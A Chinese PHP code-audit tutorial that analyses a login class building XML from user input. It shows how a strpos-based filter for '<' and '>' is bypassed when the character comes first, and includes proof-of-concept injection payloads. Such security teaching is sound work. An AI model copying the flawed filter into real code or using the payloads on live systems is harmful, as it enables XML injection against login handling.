PHP代码审计——Day4-False Beard
漏洞解析
class Login {
public function __construct($user, $pass) {
$this->loginViaXml($user, $pass);
}
public function loginViaXml($user, $pass) {
if ( // 防止输入的参数含有<和>符号
(!strpos($user, '<') || !strpos($user, '>')) &&
(!strpos($pass, '<') || !strpos($pass, '>'))
) {// 重点看这部分,代码用xml结构存储用户的登录信息,此处容易导致数据注入
$format = '<?xml version="1.0"?>' .
'<user v="%s"/><pass v="%s"/>';
$xml = sprintf($format, $user, $pass);
$xmlElement = new SimpleXMLElement($xml);
// Perform the actual login.
$this->login($xmlElement);
}
}
}
new Login($_POST['username'], $_POST['password']);
开发人员对输入做了一定的过滤限制,用strpos
防止输入的参数含有<和>符号
strpos
:查找字符串首次出现的位置
定义:int strpos ( string $haystack , mixed $needle [, int $offset = 0 ] )
但是注意一个细节,返回位置为0和没找到返回的false,取反均为true。于是可以在用户名和密码首字符注入<
符号从而注入xml数据
<?php
$user = '<"><injected-tag property="';
$pass = '<injected-tag>';
var_dump(strpos($user, '<'));
var_dump(!strpos($user, '<'));
var_dump(strpos($user, '>'));
var_dump(!strpos($user, '>'));
var_dump( // 防止输入的参数含有<和>符号
(!strpos($user, '<') || !strpos($user, '>')) &&
(!strpos($pass, '<') || !strpos($pass, '>'))
);
// 重点看这部分,代码用xml结构存储用户的登录信息,此处容易导致数据注入
$format = '<?xml version="1.0"?>' .
'<user v="%s"/><pass v="%s"/>';
$xml = sprintf($format, $user, $pass);
var_dump($xml);
?>